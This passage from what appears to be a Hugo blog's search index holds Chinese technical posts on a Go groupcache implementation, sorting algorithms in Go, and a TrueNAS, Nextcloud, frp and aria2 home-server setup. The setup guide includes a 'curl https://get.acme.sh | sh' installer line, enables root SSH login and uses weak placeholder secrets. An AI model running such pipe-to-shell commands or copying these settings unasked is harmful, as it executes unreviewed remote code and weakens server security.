\u0026#34;\u0026#34; { p.basePath = path } else { p.basePath = defaultBasePath } http.Handle(self, p) return p } func (p *HTTPPool) ServeHTTP(w http.ResponseWriter, r *http.Request) { parts := strings.SplitN(r.URL.Path[len(p.basePath):], \u0026#34;/\u0026#34;, 2) groupName := parts[0] key := parts[1] // 获取group group := GetGroup(groupName) ctx := r.Context() data, err := group.Get(ctx, key) //w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/x-protobuf\u0026#34;) // 设置http请求标头为8位字节流 w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/octet-stream\u0026#34;) w.Write(data) } func (p *HTTPPool) PickPeer(key string) (PeerGetter, bool) { p.mu.Lock() defer p.mu.Unlock() u := p.peers.Get(key) log.Println(u) if u == p.self { return nil, false } return p.httpGetters[u], true } func (p *HTTPPool) Set(peers ...string) { p.mu.Lock() defer p.mu.Unlock() p.peers = consistenthash.New(defaultReplicas) p.peers.AddNode(peers...) p.httpGetters = make(map[string]*httpGetter, len(peers)) for _, peer := range peers { p.httpGetters[peer] = \u0026amp;httpGetter{baseUrl: peer + p.basePath} } } // http客户端 type httpGetter struct { baseUrl string } func (g *httpGetter) Get(ctx context.Context, group string, key string) ([]byte, error) { u := fmt.Sprintf( \u0026#34;%v%v/%v\u0026#34;, g.baseUrl, url.QueryEscape(group), url.QueryEscape(key), ) res, err := http.Get(u) log.Println(u) if err != nil { return nil, err } defer res.Body.Close() bytes, err := ioutil.ReadAll(res.Body) return bytes, nil } http内容请求标头： http Content-Type\nexample.com:8000/cache/test-group/key，请求的url中包括了域名，端口，起到标识作用的path，group名称，key\nProtobuf Protobuf是一个数据结构序列化库，和常见的json功能类似。\nprotobuf对比json：\n优点：\n序列与反序列化效率更高 算法优势使其对数据有压缩能力，减小带宽压力 不仅仅包含消息，也包含服务的定义 确定：\n二进制序列人类不可读 灵活性较低 两者适合的应用场景不同，protobuf更适合内部环境，比如rpc。而json更适合web应用。\nsyntax = \u0026#34;proto2\u0026#34;; package protobuf; option go_package = \u0026#34;../pb\u0026#34;; message GetRequest { required string group = 1; required string key = 2; } message GetResponse { optional bytes value = 1; } google protobuf 文档\nprotoc --go_out=. *.proto 生成对应的go代码。\n原本服务的响应是放置在body中的二进制流，现在将其通过protobuf编码\n分别修改请求、服务、接口\nfunc (g *httpGetter) Get(ctx context.Context, in *pb.GetRequest, out *pb.GetResponse) error{ ...... bytes, err := ioutil.ReadAll(res.Body) err = proto.Unmarshal(bytes, out) } func (p *HTTPPool) ServeHTTP(w http.ResponseWriter, r *http.Request) { ..... w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/x-pb\u0026#34;) body, err := proto.Marshal(\u0026amp;pb.GetResponse{Value: data}) w.Write(body) } type PeerGetter interface { Get(ctx context.Context, in *pb.GetRequest, out *pb.GetResponse) error } singleflight 缓存击穿\n未缓存的数据短时间被高并发访问，导致大量请求穿透缓存层，直接打到数据库 如果一个数据不在缓存中，而瞬时又有了很大的并发请求(比如秒杀活动前的一些数据)，缓存会向数据库发起多次相同的请求，数据库可能因此奔溃。而singleflight通过阻塞后续同样的请求，来防止缓存击穿。\n// 保存请求的返回值供其他请求使用，并用WaitGroup阻塞其他请求 type call struct { wg sync.WaitGroup val interface{} err error } // 维护一个map，通过key找到请求 // Mutex用来保证map的线程安全 type Group struct { m map[string]*call mu sync.Mutex } // 传入一个key，和一个函数，函数只会被执行第一次 // 后来的请求会被阻塞，待第一个请求完成后，后续的请求使用相同的返回值 func (g *Group) Do(key string, fn func() (interface{}, error)) (interface{}, error) { g.mu.Lock() if g.m == nil { g.m = make(map[string]*call) } if c, ok := g.m[key]; ok { g.mu.Unlock() // 阻塞 c.wg.Wait() return c.val, c.err } c := \u0026amp;call{} c.wg.Add(1) g.m[key] = c g.mu.Unlock() // 执行 c.val, c.err = fn() c.wg.Done() g.mu.Lock() delete(g.m, key) g.mu.Unlock() return c.val, c.err } 使用时只需要代码包裹在do中，并处理一下返回值\nfunc (g *Group) load(ctx context.Context, key string) (ByteView, error) { val, err := g.loader.Do(key, func() (interface{}, error) { p, ok := g.peers.PickPeer(key) if !ok { bv, err := g.getLocally(ctx, key) if err != nil { return ByteView{}, err } g.populateCache(key, bv) return bv, err } return g.getPeer(ctx, key, p) }) if err != nil { return ByteView{}, err } return val.(ByteView), nil } 附注 完整代码：\nhttps://github.com/vincent-vinf/simple_groupcache\n参考链接：\nhttps://zh.wikipedia.org/wiki/%E7%BC%93%E5%AD%98 https://aws.amazon.com/caching/ https://github.com/golang/groupcache https://geektutu.com/post/geecache.html 图片来源：\n封面来源\nBy Dennis - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=31541\nhttps://hihcys.github.io/2020/03/17/%E4%B8%80%E8%87%B4%E6%80%A7hash%E7%8E%AF%E5%8F%8A%E4%BC%98%E5%8C%96%E6%96%B9%E6%B3%95/\n","date":"2022-03-17T19:18:58+08:00","image":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/simple-groupcache/hierarchy-of-computer-memory_hu_7fdf730f6f4a309.png","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/simple-groupcache/","title":"简易的groupcache实现"},{"content":" 比较排序（英语：Comparison sort）是排序算法的一种，通过一个抽象的内容比较操作（通常是“小于或等于”操作）来确定两个元素中哪个应该放在序列前面。 \u0026ndash;wiki\n冒泡排序 func (b *BubbleSort) Sort(input []int) []int { l := len(input) for i := l - 1; i \u0026gt; 0; i-- { for j := 0; j \u0026lt; i; j++ { if input[j] \u0026gt; input[j+1] { input[j], input[j+1] = input[j+1], input[j] } } } return input } 选择排序 func (i SelectSort) Sort(input []int) []int { l := len(input) for i := l - 1; i \u0026gt; 0; i-- { maxIndex := i for j := 0; j \u0026lt; i; j++ { if input[j] \u0026gt; input[maxIndex] { maxIndex = j } } input[maxIndex], input[i] = input[i], input[maxIndex] } return input } 插入排序 func (i InsertSort) Sort(input []int) []int { l := len(input) for i := 1; i \u0026lt; l; i++ { j := i - 1 // 取出即将插入的值 key := input[i] // 从有序的最后一个开始，如果\u0026gt;key则将其赋值给后一个位置(值本身已经被缓存) for j \u0026gt;= 0 \u0026amp;\u0026amp; input[j] \u0026gt; key { input[j+1] = input[j] j-- } input[j+1] = key } return input } 快速排序 使用二分的思想可以将时间复杂度降低到nlogn\ntype QuickSort struct{} func (s QuickSort) Sort(nums []int) []int { if len(nums) \u0026lt; 2 { return nums } mid := s.partition(nums, len(nums)/2) s.Sort(nums[:mid]) s.Sort(nums[mid+1:]) return nums } func (s QuickSort) partition(nums []int, pivot int) int { n := len(nums) pivotValue := nums[pivot] nums[pivot], nums[n-1] = nums[n-1], nums[pivot] storeIndex := 0 for i := 0; i \u0026lt; n; i++ { if nums[i] \u0026lt; pivotValue { nums[i], nums[storeIndex] = nums[storeIndex], nums[i] storeIndex++ } } nums[n-1], nums[storeIndex] = nums[storeIndex], nums[n-1] return storeIndex } 归并排序 归并的缺点是需要使用额外的空间，优点是每一路的归并可以并发完成，而且不需要将所有数据都加载到内存中\nfunc (s MergeSort) subSort(input []int, reg []int) { l := len(input) if l \u0026lt;= 1 { return } mid := l / 2 //对左右两部分进行归并排序 s.subSort(input[:mid], reg[:mid]) s.subSort(input[mid:], reg[mid:]) i, j, k := 0, mid, 0 // 如果有一路已经处理完，则退出循环 for i \u0026lt; mid \u0026amp;\u0026amp; j \u0026lt; l { //将较小的值放到临时数组中 if input[i] \u0026lt; input[j] { reg[k] = input[i] k++ i++ } else { reg[k] = input[j] k++ j++ } } //将未归并完的一路直接连接到数组之后 for i \u0026lt; mid { reg[k] = input[i] i++ k++ } for j \u0026lt; l { reg[k] = input[j] j++ k++ } //将临时数组的值拷贝 copy(input, reg) } 希尔排序 shellsort是对插入排序的优化，原理在于\n插入排序在排序几乎有序的数据时，效率高 普通插入排序，每一个数据在一次操作中只能移动一步到最终位置 func (i ShellSort) Sort(input []int) []int { l := len(input) for gap := l / 2; gap \u0026gt; 0; gap /= 2 { for j := gap; j \u0026lt; l; j++ { tmp := input[j] k := j - gap for ; k \u0026gt;= 0 \u0026amp;\u0026amp; input[k] \u0026gt; tmp; k -= gap { input[k+gap] = input[k] } input[k+gap] = tmp } } return input } 堆排序 type HeapSort struct{} // O(nlogn) 不稳定 func (s HeapSort) Sort(input []int) []int { //建堆(最大堆) s.createHeap(input) for i := len(input) - 1; i \u0026gt; 0; i-- { //将堆顶数据(最大值)移动到最终位置，并用堆最后一个元素填补 input[0], input[i] = input[i], input[0] //调整堆 s.shiftDown(input[:i], 0) } return input } // 建堆操作 func (s HeapSort) createHeap(input []int) { l := len(input) for i := l/2 - 1; i \u0026gt;= 0; i-- { s.shiftDown(input, i) } } // 使得堆重新有序 func (s HeapSort) shiftDown(heap []int, index int) { l := len(heap) // father f := index // child c := index*2 + 1 for c \u0026lt; l { //如果右儿子存在，且大于左儿子 if c+1 \u0026lt; l \u0026amp;\u0026amp; heap[c+1] \u0026gt; heap[c] { c++ } //如果孩子比父亲大，当前值下移 if heap[f] \u0026lt; heap[c] { heap[f], heap[c] = heap[c], heap[f] f = c c = c*2 + 1 } else { return } } //\t可以实现一个不交换的版本 // 可以理解为，为一个元素寻找一个正确的位置(空穴)，算法模拟了空穴下移的过程 } 并发快排 type ConcurrentQSort struct{} func (s ConcurrentQSort) Sort(nums []int) []int { n := len(nums) if n \u0026lt; 2 { return nums } mid := s.partition(nums, n/2) // 如果待排序数组比较小，则直接使用快排，防止使用过多的go routine // 在生成、调度、销毁上花费大量时间 if n \u0026lt; 512 { s.Sort(nums[:mid]) s.Sort(nums[mid+1:]) } else { // 使用WaitGroup，等待子协程处理结束 wg := sync.WaitGroup{} wg.Add(2) go func() { s.Sort(nums[:mid]) wg.Done() }() go func() { s.Sort(nums[mid+1:]) wg.Done() }() wg.Wait() } return nums } func (s ConcurrentQSort) partition(nums []int, pivot int) int { // 同快排 } 完整的测试代码在github\n","date":"2022-03-03T19:53:53+08:00","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/comparison-sort/","title":"常见比较排序"},{"content":"Truenas+Nextcloud 配置 硬件 这里的配置满足了 truenas 建议的最低要求(主要是内存 8G 及以上)。因为 truenas core 基于 freebsd，使用 zfs 文件系统，需要大量的内存做磁盘缓存，几乎是有多少用多少。\n配件表 名称 价格 主板：映泰 J4105 549 电源：益衡 7025B 200W 240 内存：威刚 万紫千红 8G 2666MHZ 226 机箱：蜗牛星际 C 款 118 风扇：乔思伯 12020 19 U 盘：32G 28 m.2 转 sata 79 总计： 1259 机箱是 4 盘位机箱，主板只有两个 sata 口，使用 M.2 转 sata*2 转接头转换\n硬盘 希捷酷狼 4T * 2 闲置笔记本拆机盘 1T 两块 4T 硬盘组 RAID1。1T 硬盘做下载盘，存放不重要的数据。\n另外还有喷漆、贴纸和脚垫等\n机箱改造 喷漆 购买某宝自喷漆，拆解机箱，喷漆晾干即可。\n注意：\n拆开后，最好给螺丝和对应部位拍个照，因为装回来可能是几天后，螺丝种类又多，容易混 少量多次 最好放在灰尘比较少的地方晾干 白色漆打底，最后喷一层光油 漆干的没那么快，可能会粘着垫纸，别着急翻面 一定一定戴口罩 脱漆剂对塑料有腐蚀性，别问我怎么知道的 硬盘背板加电容 买来发现背板只有电阻和 led 给硬盘灯用，而有非常多的电容没有焊接，规格是 0805。\n正好手头有 0805 电容，就焊了一些上去。靠近 sata 接口的 2 个焊接 0.1uF（c4、c04），其余 6 个焊接 22uF 的电容，其余同理。\n因为已经生产很久了，焊点表明氧化严重，需要助焊剂去除氧化层，否则很容易虚焊。\nTruenas 系统 Truenas 系统安装的教程极多，可以自己搜索。\n安装完成后需要根据自己的网络环境配置 ip。\n在浏览器访问 truenas IP 即可访问管理后台，账号 root，密码为安装时设置的值。\nQQ 邮箱配置 建议在 系统-电子邮件 中设置自己的邮箱，我使用的是 qq 邮箱\n到 qq 邮箱中申请授权码（QQ邮箱-设置-账户），作为这里的密码，其他依照上图填写。\n在 truenas 后端，帐户-用户，编辑 root 用户邮箱，可以与上面的 qq 邮箱一样（邮箱允许自己给自己发邮件）\n发送测试邮件，不出意外，邮箱会收到一封邮件。\n配置 SSH 密钥登录 首先需要有一对密钥，没有的话可以依据服务器上的 Git - 生成 SSH 公钥文章生成。\n在 帐户-用户 中配置用户 SSH 公钥。\n确认服务中 ssh 有没有开启\n使用诸如 putty 或者 linux 的 ssh 客户端都可以登录主机。我比较喜欢使用 termius\n备份配置文件 在系统-常规中可以保存和恢复配置。我的系统安装在 U 盘中，如果 U 盘损坏，则可以换一个重新安装上系统，并恢复配置，非常方便\n创建储存池 储存池相当于一个虚拟盘，可以有多个物理硬盘通过不同的组合(raid1、raidz)在软件上作为一个盘。\n具体可以看看 B 站这个视频\nNextcloud 安装 Nextcloud 注意因为众所周知的原因，安装插件没有梯子有可能会失败，我在路由器中配置了梯子得以解决。\n在插件中找到并点击安装\n建议选择高级插件安装。个人喜好不用 dhcp 也不用 nat，直接手动配置 ip，相当于桥接模式，虚拟机的虚拟网卡直接连接到路由器，这样虚拟机和 truenas 系统有着等同的网络地位，都在路由器路由表中占用一个 ip\n其他选项默认，点击保存即可\n配置 ssh 为了之后方便 SSL 证书的更新，我在 truenas 系统里生成了证书，并把公钥放在了 nextcloud jail 中。\n运行ssh-keygen -o命令即可\n选择监狱-nextcloud-命令行即可使用命令行。\n# 配置ssh开机自启 vi /etc/rc.conf # 在文件最后添加 sshd_enable=\u0026#34;YES\u0026#34; # 配置ssh参数 vi /etc/ssh/sshd_config # 取消注释下面两行，并改为如下内容 Port 22 PermitRootLogin yes # 开启ssh service sshd start # 添加公钥 cd mkdir .ssh vi .ssh/authorized_keys # 粘贴公钥内容 尝试 ssh 连接\n为 jail 开启中文支持 vi /etc/profile,写入如下内容\nexport LANG=zh_CN.UTF-8 export LC_ALL=\u0026#34;en_US.ISO8859-1\u0026#34; export LANG=\u0026#34;en_US.ISO8859-1\u0026#34; export LC_CTYPE=\u0026#34;en_US.ISO8859-1\u0026#34; export LANG=zh_CN.eucCN vi /etc/csh.cshrc,写入如下内容\nsetenv LANG \u0026#34;zh_CN.UTF-8\u0026#34; 配置 nextcloud 配置访问 url nextcloud 主目录位于/usr/local/www/nextcloud\n编辑配置文件vi /usr/local/www/nextcloud/config/config.php\narray ( 0 =\u0026gt; \u0026#39;localhost\u0026#39;, 1 =\u0026gt; \u0026#39;192.168.2.3\u0026#39;, 2 =\u0026gt; \u0026#39;cloud.vinf.top\u0026#39;, ),#修改并添加适当的访问地址 # 设置默认手机号位置 \u0026#39;default_phone_region\u0026#39; =\u0026gt; \u0026#39;CN\u0026#39;, 更改 nextcloud data 目录 一般情况下都需要自定义 data 目录，比如存放 jail 的池容量太小或重要数据需要集中存放\n这里用挂载的方法直接覆盖了原本 data 目录的内容\n复制目录\ncd /usr/local/www/nextcloud cp -r data backup 在插件-nextcloud中关闭 nextcloud\n在监狱-nextcloud-挂载点中添加挂载点\n选择对应，你想要映射的目录即可，我这边是 main pool 中的 ncdata 数据集\n重新开启 nextcloud jail\n进入 nextcloud 维护模式(此时访问 nextcloud 会显示错误，因为数据文件夹没有文件)\nsudo -u www php /usr/local/www/nextcloud/occ maintenance:mode --on # 提示没有sudo就安装一下 pkg install sudo 重新复制文件到数据目录\ncp -r backup/. data 注意这里需要加/. 因为 data 目录已经存在\n关闭维护模式\nsudo -u www php /usr/local/www/nextcloud/occ maintenance:mode --off 检查权限\nls -l 确定 data 目录所有者和群组均为www\nchown -R www:www data 递归赋予权限\n访问 nextcloud 检查是否成功\n访问 nextcloud 在插件-nextcloud-安装说明中写了默认生成的各种密码，包括登录 nextcloud 所需的密码\n登录之后，在设置-概览中可以检查还需优化的选项。\n配置 crontab 执行 crontab -u www -e # 添加如下内容 */5 * * * * php -f /usr/local/www/nextcloud/cron.php # 每5分钟执行一次命令 在 nextcloud web 端，访问设置-基本设置，在后台任务中选择 cron\n配置并使用 redis 这是个优化选项，可以不做\n# 安装redis pkg install redis # 配置开机自启 vi /etc/rc.conf # 添加如下行到文件末尾 redis_enable=\u0026#34;YES\u0026#34; # 开启redis service redis start # 配置nextcloud vi /usr/local/www/nextcloud/config/config.php # 添加如下内容 \u0026#39;redis\u0026#39; =\u0026gt; array ( \u0026#39;host\u0026#39; =\u0026gt; \u0026#39;127.0.0.1\u0026#39;, \u0026#39;port\u0026#39; =\u0026gt; 6379, ), \u0026#39;memcache.local\u0026#39; =\u0026gt; \u0026#39;\\\\OC\\\\Memcache\\\\Redis\u0026#39;, \u0026#39;memcache.distributed\u0026#39; =\u0026gt; \u0026#39;\\\\OC\\\\Memcache\\\\Redis\u0026#39;, \u0026#39;memcache.locking\u0026#39; =\u0026gt; \u0026#39;\\\\OC\\\\Memcache\\\\Redis\u0026#39;, SSL 对于需要外网访问的情况，SSL 非常重要。\ntruenas 主机上用到了三张 SSL 证书，统一由 truenas 的 acme.sh 管理\n安装 acme.sh # 安装acme.sh curl https://get.acme.sh | sh # 安装deploy-freenas git clone https://github.com/danb35/deploy-freenas vi /root/deploy-freenas/deploy_config # 写入如下内容 api_key需要从truenas管理界面中生成 [deploy] api_key = XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 生成证书 # 注册 acme.sh --register-account -m xxxxxxx@qq.com --server zerossl # 设置api key # 不同的域名服务商提供不同的api key，需要看看acme.sh是否支持(主流的都支持) # 一般登录到管理后台都可以找到 export Ali_Key=\u0026#34;XXXXXXXXXXXXXXXX\u0026#34; export Ali_Secret=\u0026#34;XXXXXXXXXXXXXXXXXXXXXX\u0026#34; # 申请证书 # 给truenas管理后端的证书 /root/.acme.sh/acme.sh --issue -d nas.vinf.top --dns dns_ali --reloadcmd \u0026#34;/root/deploy-freenas/deploy_freenas.py\u0026#34; # nextcloud使用的证书 /root/.acme.sh/acme.sh --issue -d cloud.vinf.top --dns dns_ali # 安装证书并设置reload cmd # 这里的reload cmd使用ssh的方式执行，使用密钥登录 # 证书文件通过共享同一个数据集的方式共享，在每一个需要用到证书的jail做一个挂载点即可 acme.sh --install-cert -d cloud.vinf.top --key-file /mnt/main/ssl/cloud.vinf.top/cloud.vinf.top.key --fullchain-file /mnt/main/ssl/cloud.vinf.top/fullchain.cer --reloadcmd \u0026#34;ssh root@192.168.2.3 \u0026#39;service nginx forcereload\u0026#39; \u0026#34; acme.sh 在安装时会自动生成一个 cron 任务，每天检查是否有过期的证书。若有则自动申请，并在申请成功后自动执行 reload cmd，实现证书的自动续期\n证书申请后，可以在路由器上配置一个 dns 劫持，比如将 nas.vinf.top 直接 dns 映射到 192.168.2.2，这样就可以用域名访问网页，并且可以测试 https 配置是否完整。\nfrp 公网访问 概览 内网穿透可以在没有公网 ip 的情况下实现公网访问 nextcloud 等服务。\n前提是需要一个处于公网的服务器。\n访问 NAS\n连接上局域网时 终端设备向路由器发起 dns 请求，被拦截并返回局域网 ip 之后的流量都仅通过路由器转发，非常快速 公网环境，比如使用流量的手机 终端发起 dns 请求，被域名服务商提供的主机解析，为 frp 的公网 ip 访问流量通过服务器转发给 NAS NAS 将结果返回给服务器 服务器将结果发送给终端设备 frp 转发的流量，访问速度较慢(具体速度取决于服务器带宽，家庭网络带宽)。实测阿里云杭州学生轻量级服务器，带宽没记错的话是 1M，nextcloud 同步速度 700KB/s 波动。\nfrp github 地址\n具体的配置可以看这篇博客\nfrp server 配置 在服务器上下载对应的 frp 编译版本,根据不同的系统，配置 frps 为服务\n[common] bind_addr = 0.0.0.0 bind_port = 7000 # 设置自己的token token = 12345678 vhost_http_port = 80 vhost_https_port = 443 注意：\n需要开启使用的对应的端口，比如 80,443 域名需要解析到服务器的公网 ip 客户端和服务器的各项参数需要对应，比特 token 和 port 等 frp client 配置 下载 frp，依据系统架构的不同，这里下载 amd64\n新建目录 mkdir /usr/local/opt/\n复制下载的文件到目录\n解压 tar -zxvf frp.tar.gz\n编辑 frpc.ini\n[common] # 改为自己的服务器公网ip server_addr = 123.123.123.123 server_port = 7000 #改为自己的token token = 12345678 # ssh可以如下配置 [nas@ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 2222 # http配置 [nas] type = http local_port = 80 custom_domains = nas.vinf.top host_header_rewrite = nas.vinf.top # https配置 [s@nas] type = https local_port = 443 custom_domains = nas.vinf.top host_header_rewrite = nas.vinf.top vi /usr/local/etc/rc.d/frpc，写入，其中文件路径需要自己稍作更改\n#!/bin/sh # PROVIDE: frpc # REQUIRE: LOGIN # KEYWORD: shutdown . /etc/rc.subr name=\u0026#34;frpc\u0026#34; rcvar=frpc_enable load_rc_config $name : ${frpc_enable=\u0026#34;NO\u0026#34;} : ${frpc_user=\u0026#34;nobody\u0026#34;} : ${frpc_flags=\u0026#34;\u0026#34;} daemon_pidfile=\u0026#34;var/run/frpc_daemon.pid\u0026#34; pidfile=\u0026#34;/var/run/frpc.pid\u0026#34; command=\u0026#34;/usr/local/opt/frp_0.37.0_freebsd_amd64/frpc -c /usr/local/opt/frp_0.37.0_freebsd_amd64/frpc.ini\u0026#34; start_cmd=\u0026#34;/usr/sbin/daemon -r -R 5 -u $frpc_user -P $daemon_pidfile -p $pidfile -t $name $command $frpc_flags\u0026#34; start_postcmd=\u0026#34;${name}_poststart\u0026#34; stop_cmd=\u0026#34;${name}_stop\u0026#34; frpc_poststart() { echo \u0026#34;${name}_daemon running pid `cat ${daemon_pidfile}`.\u0026#34; echo \u0026#34;${name} running pid `cat ${pidfile}`.\u0026#34; } frpc_stop() { if [ -f \u0026#34;$daemon_pidfile\u0026#34; ]; then pid=`cat $daemon_pidfile` echo \u0026#34;Stopping pid ${pid}.\u0026#34; kill $pid else echo \u0026#34;${name} not running?\u0026#34; fi } run_rc_command \u0026#34;$1\u0026#34; 增加可执行权限chmod +x /usr/local/etc/rc.d/frpc,并设置自启动sysrc frpc_enable=YES\n使用 aria2 下载 安装 # 安装aria2 pkg install aria2 # 配置自启，启动用户 sysrc aria2_user=www sysrc aria2_group=www sysrc aria2_enable=YES 这里最好使用 www 用户，和 nextcloud 使用相同的用户(尽管两者不是同一个系统，但用户 GID 相同，有相同的权限)。这使得 nextcloud 可以访问 aria2 下载的文件。\n我创建了一个共享的数据集，并挂载到 nextcloud 和 aria2 的 jail 中，nextcloud 以 external store 的方式挂载在用户中。\n这样 aria2 下载完成的文件，可以直接在 nextcloud 中管理，非常方便。\n配置 vi /usr/local/etc/aria2.conf，写入如下内容\ncontinue daemon=true dir=/download # 更换为自己的下载目录 file-allocation=falloc log-level=warn disable-ipv6=true log-level=warn max-connection-per-server=15 max-concurrent-downloads=20 max-overall-download-limit=0 min-split-size=5M rpc-listen-all=true enable-rpc=true rpc-secret=123456789 #换为自己的密钥 ca-certificate=/mnt/ssl/fullchain.cer #换为自己的证书路径 service aria2 start,开启 aria2\n在 chrome 中安装 aria2 插件，或下载 aria2 客户端，即可\n配置 RPC 地址和密钥即可连接\n","date":"2021-08-02T00:00:00Z","image":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/truenas-nextcloud/IMG20210720223239_hu_551fc5419ed2a46c.jpg","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/truenas-nextcloud/","title":"Truenas+Nextcloud 配置"},{"content":" hugo new post/test/index.md\nFrontMatter 字段 字段 介绍 默认值 description 文章简介 image 特色图片 comments 显示 / 隐藏评论区 true license 文章协议 输入 false 可以隐藏 params.article.license.default hidden 隐藏文章（不在首页，归档等页面显示，但是可以直接通过链接访问） false math 加载 KaTeX 脚本 toc 显示 / 隐藏目录 params.article.toc lastmod 最后更改时间 图片 ![Photo by Florian Klauer on Unsplash](florian-klauer-nptLmg6jqDo-unsplash.jpg) ![Photo by Luca Bravo on Unsplash](luca-bravo-alS7ewQ41M8-unsplash.jpg) ![Photo by Helena Hertz on Unsplash](helena-hertz-wWZzXlDpMog-unsplash.jpg) ![Photo by Hudai Gayiran on Unsplash](hudai-gayiran-3Od_VKcDEAA-unsplash.jpg) 相册语法来自 Typlog\n插入网络视频 Shortcode\nMath 数学公式 Block math:\n$$ \\varphi = 1+\\frac{1} {1+\\frac{1} {1+\\frac{1} {1+\\cdots} } } $$\n图标来源 Tabler Icons\n","date":"2020-09-09T00:00:00Z","image":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/hugo-usage/luca-bravo-alS7ewQ41M8-unsplash_hu_8485bb27c6ba89e1.jpg","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/hugo-usage/","title":"hugo用法"},{"content":"My first blog.\n","date":"2019-09-14T00:00:00Z","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/hello-world/","title":"Hello World！"}]